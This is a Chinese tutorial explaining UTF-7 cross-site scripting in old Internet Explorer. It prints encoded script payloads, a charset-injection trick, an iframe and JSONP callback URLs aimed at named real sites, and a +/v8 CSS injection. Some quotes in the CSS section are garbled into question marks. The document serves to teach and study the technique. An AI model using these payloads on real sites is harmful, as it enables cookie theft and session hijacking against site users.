Utf7

UTF-7是什么

UTF-7 (7-位元 Unicode 转换格式(Unicode Transformation Format,简写成 UTF)) 是一种可变长度字元编码方式,用以将 Unicode 字元以 ASCII 编码的字元串来呈现,可以应用在电子邮件传输之类的应用。

举个例子:

<script>alert(document.cookie)</script> 

编码后就成了

+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-

原理阐述

由于标签没有指定明确的charset,导致浏览器将编码以utf-7解析,从而形成XSS 比如一个回应包如下: HTTP/1.1 200 OK Content-Type: text/html.... ... 我们看到,http头里并没有指定charset,那么浏览器会将包内容以何种编码形式解析呢? OK,UTF-7 XSS的利用就在这里了 linx在博客里也讲了,归根结底,这个问题还出在IE处理meta steam的编码策略上 利用方法 PS.针对utf-7微软之前已经对ie打过补丁了,所以以下的利用未必成功,仅供参考学习之用

情况1. 如:

<meta http-equiv='content-type' content='text/html>
+ADw-script+AD4-
  alert(document.cookie); +ADw-/script+AD4

没有指定charset,出现utf-7编码(如+ADw,+AC8-,等等)时,即解析 ( 在IE8下测试不成功) 同理还有

 <script src=data:text/utf-7,+AGE...charset=utf-7></script>

" onmousemove="alert(document.domain)

utf7编码:

+ACIAIABvAG4AbQBvAHUAcwBlAG0AbwB2AGUAPQAiAGEAbABlAHIAdAAoAGQAbwBjAHUAbQBlAG4AdAAuAGQAbwBtAGEAaQBuACk-

情况2. 如:

<title>
+ADw-/title+AD4APA-meta http-equiv+AD0-'content-type' content+AD0-'text/html+ADs-charset+AD0-utf-7'+AD4-
</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8">

在meta charset之前插入语句,使得charset成utf-7 ( 在IE8下测试不成功)

情况3 如:

<html>
<head>
<meta http-equiv="content-type" content="text/html>
</head>
<body>
<iframe src="http://target.example.com/NOTFOUND/%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-"></iframe>
</body>
</html>

页面默认不以utf-7解析。通过在iframe中包含utf-7的语句,使得其解析成utf-7

情况4 如:

http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20xsadas
http://apps.hi.baidu.com/dashan/data/status?asyn=1&callback=【utf-7头】【utf-7数据流】......
json,这个很多了

情况5

?UTF-7 BOM character can force UTF-7 in a external style sheet
? Would you let me upload a style sheet?
? @charset ?UTF-7?; works
? But you don?t need it
? +/v8 is all you need
+/v8
body {
font-family:
'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoAGEAbA
BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAJw-';
}

CSS utf-7 XSS: 在css里头通过+/v8(这里的原理还是之前说的,控制文件的开头的几个字节)控制编码成utf-7,heige在百度空间里用的就是这招​